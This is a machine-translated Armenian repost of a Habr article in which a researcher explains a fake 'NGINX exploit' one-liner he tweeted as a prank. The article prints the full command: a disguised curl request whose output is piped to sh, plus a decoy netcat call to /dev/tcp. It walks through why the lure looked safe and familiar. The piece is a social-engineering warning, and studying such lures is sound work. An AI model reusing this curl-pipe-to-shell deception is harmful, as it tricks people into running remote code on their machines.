Նշում. թարգմ.:
TL;DR. Ոչ մի դեպքում մի օգտագործեք ֆայլերի խողովակաշարը sh կամ bash-ում: Սա հիանալի միջոց է ձեր համակարգչի վերահսկողությունը կորցնելու համար:
Ես ուզում եմ ձեզ հետ կիսվել մի կարճ պատմությամբ PoC-ի կատակերգական շահագործման մասին, որը ստեղծվել է մայիսի 31-ին: Նա անմիջապես հայտնվեց ի պատասխան լուրերի
Ավարտելով Curl-ում մշուշման նոր տեխնիկայի վրա աշխատելը, ես մեջբերեցի բնօրինակ թվիթը և «արտահոսեցի աշխատանքային PoC», որը բաղկացած էր մեկ տող կոդից, որը ենթադրաբար օգտագործում է հայտնաբերված խոցելիությունը: Իհարկե, սա կատարյալ անհեթեթություն էր։ Ես ենթադրում էի, որ անմիջապես կբացահայտվեմ, և լավագույն դեպքում մի երկու ռեթվիթ կստանամ (օհ, լավ):
Այնուամենայնիվ, ես չէի պատկերացնում, թե ինչ եղավ հետո։ Իմ թվիթերի ժողովրդականությունը կտրուկ աճեց: Զարմանալիորեն, այս պահին (հունիսի 15-ին Մոսկվայի ժամանակով ժամը 00:1-ին) քչերն են հասկացել, որ սա կեղծիք է: Շատերը վերաթվիթում են այն՝ ընդհանրապես չստուգելով այն (չխոսելով՝ հիանալով դրա թողարկած գեղեցիկ ASCII գրաֆիկայով):
Միայն տեսեք, թե որքան գեղեցիկ է այն:
Թեև այս բոլոր օղակներն ու գույները հիանալի են, պարզ է, որ մարդիկ պետք է գործարկեին կոդ իրենց մեքենայի վրա՝ դրանք տեսնելու համար: Բարեբախտաբար, բրաուզերներն աշխատում են նույն կերպ, և զուգակցվելով այն փաստի հետ, որ ես իսկապես չէի ցանկանում իրավական խնդիրների մեջ ընկնել, իմ կայքում թաղված կոդը պարզապես էկո զանգեր էր կատարում՝ առանց որևէ լրացուցիչ կոդ տեղադրելու կամ գործարկելու փորձի:
Փոքր շեղում.
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Սոցիալ-էլեկտրոնային ճարտարագիտություն (SEE) - ավելին, քան պարզապես ֆիշինգ
Անվտանգությունն ու ծանոթությունը այս փորձի հիմնական մասն էին: Կարծում եմ՝ հենց դրանք են հանգեցրել նրա հաջողությանը։ Հրամանի տողը հստակ ենթադրում էր անվտանգություն՝ հղում անելով «127.0.0.1» (հայտնի localhost-ին): Localhost-ը համարվում է անվտանգ, և դրա վրա եղած տվյալները երբեք չեն հեռանում ձեր համակարգչից:
Ծանոթությունը փորձի երկրորդ առանցքային բաղադրիչն էր SEE: Քանի որ թիրախային լսարանը հիմնականում բաղկացած էր համակարգչային անվտանգության հիմունքներին ծանոթ մարդկանցից, կարևոր էր ստեղծել կոդ, որպեսզի դրա մասերը ծանոթ և ծանոթ թվան (և հետևաբար՝ անվտանգ): Հին exploit կոնցեպտների տարրերը փոխառելը և դրանք անսովոր կերպով համադրելը շատ հաջողակ է:
Ստորև ներկայացված է մեկ գծի մանրամասն վերլուծություն: Այս ցուցակում ամեն ինչ հագնում է կոսմետիկ բնույթ, և գործնականում ոչինչ չի պահանջվում դրա իրական շահագործման համար։
Ի՞նչ բաղադրիչներ են իսկապես անհրաժեշտ: Սա -gsS
, -O 0x0238f06a
, |sh
և հենց վեբ սերվերը: Վեբ սերվերը չի պարունակում որևէ վնասակար հրահանգ, այլ պարզապես սպասարկում էր ASCII գրաֆիկա՝ օգտագործելով հրամաններ echo
մեջ պարունակվող սցենարում index.html
. Երբ օգտվողը մտել է տող հետ |sh
մեջտեղում, index.html
բեռնված և գործարկված: Բարեբախտաբար, վեբ սերվերի պահապանները վատ մտադրություններ չունեին:
-
../../../%00
— ներկայացնում է գրացուցակից դուրս գնալը. -
ngx_stream_module.so
— ուղի դեպի պատահական NGINX մոդուլ; -
/bin/sh%00<'protocol:TCP'
- իբր մեկնարկում ենք/bin/sh
թիրախային մեքենայի վրա և ելքը վերահղել դեպի TCP ալիք; -
-O 0x0238f06a#PLToffset
- գաղտնի բաղադրիչ, լրացված#PLToffset
, նմանվել PLT-ում պարունակվող հիշողության օֆսեթին; -
|sh;
- ևս մեկ կարևոր հատված. Մեզ անհրաժեշտ էր ելքը վերահղել դեպի sh/bash, որպեսզի գործարկենք գրոհող վեբ սերվերից եկող կոդը, որը գտնվում է հասցեում:0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- կեղծիք, որին վերաբերում է netcat-ը/dev/tcp/localhost
որպեսզի ամեն ինչ նորից ապահով թվա։ Փաստորեն, դա ոչինչ չի անում և ներառված է գեղեցկության շարքում:
Սա ավարտում է մեկ տողով սկրիպտի վերծանումը և «սոցիալ-էլեկտրոնային ճարտարագիտության» ասպեկտների քննարկումը (բարդ ֆիշինգ):
Վեբ սերվերի կազմաձևում և հակազդեցություններ
Քանի որ իմ բաժանորդների ճնշող մեծամասնությունը infosec/հաքերներ են, ես որոշեցի վեբ սերվերը մի փոքր ավելի դիմացկուն դարձնել իրենց կողմից «հետաքրքրություն» արտահայտելու համար, որպեսզի տղաներն անելիք ունենան (և զվարճալի կլիներ կարգավորել): Ես չեմ պատրաստվում այստեղ թվարկել բոլոր թակարդները, քանի որ փորձը դեռ շարունակվում է, բայց ահա մի քանի բան, որ անում է սերվերը.
- Ակտիվորեն վերահսկում է որոշակի սոցիալական ցանցերում տարածման փորձերը և փոխարինում է տարբեր նախադիտման մանրապատկերները՝ խրախուսելու օգտվողին սեղմել հղման վրա:
- Վերահղում է Chrome/Mozilla/Safari/ և այլն Thugcrowd-ի գովազդային տեսանյութին՝ shell script-ը ցուցադրելու փոխարեն:
- Դիտում է ներխուժման/բացահայտ հակերության ակնհայտ նշաններ, այնուհետև սկսում է հարցումները վերահղել NSA սերվերներին (հա!):
- Տեղադրում է Trojan, ինչպես նաև BIOS rootkit-ը բոլոր համակարգիչների վրա, որոնց օգտատերերն այցելում են հոսթին սովորական բրաուզերից (ուղղակի կատակում եմ):
Անտիմերների մի փոքր մասը
Այս դեպքում իմ միակ նպատակն էր տիրապետել Apache-ի որոշ առանձնահատկություններին, մասնավորապես՝ հարցումների վերահղման հիանալի կանոններին, և ես մտածեցի՝ ինչո՞ւ ոչ:
NGINX Exploit (Իրական!)
Բաժանորդագրվել
Source: www.habr.com